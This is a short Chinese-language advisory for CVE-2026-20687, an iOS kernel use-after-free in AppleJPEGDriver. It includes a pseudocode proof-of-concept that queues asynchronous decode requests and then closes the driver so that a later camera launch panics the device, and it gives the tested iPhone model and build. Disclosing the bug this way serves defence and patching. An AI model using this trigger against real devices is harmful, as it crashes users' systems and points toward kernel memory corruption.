CVE-2026-20687 | 作者:Johnny Franks (@0xjohnny)
组件: 内核
影响: 某个 App 可能能够导致意外的系统终止或写入内核内存
描述: 通过改进内存管理解决了一个释放后使用问题。
这会导致你的设备内核 panic。请保存你的工作。
已在 iPhone18,2(iPhone 17 Pro Max,A19 Pro)上的 iOS 26.3(23D125)测试。
直接触发:
// PoC:为驱动做准备;panic 通常延迟到打开相机时才发生。
IOServiceOpen("AppleJPEGDriver");
for (int i = 0; i < N; i++) {
startDecoder_async(); // queue_io_gated(): vector.push(req + 0x78)
}
IOServiceClose(conn);
// 之后,打开相机会触发:
startDecoder_sync();
queue_io_gated(): vector.push(req + 0x78);
wait(10s) -> TIMEOUT;
pool_free(req); // BUG:没有出队(req + 0x78)
// 再之后(finish_io_gated):
fullSpeedRequestExist():
node_ptr = vector[i]; // 陈旧:node_ptr == (已释放的 req + 0x78)
req2 = *(node_ptr + 0x8); // 对 req+0x80 的 UAF 读取 -> MTE 标签错误 -> panic
ios-app/Test.xcodeproj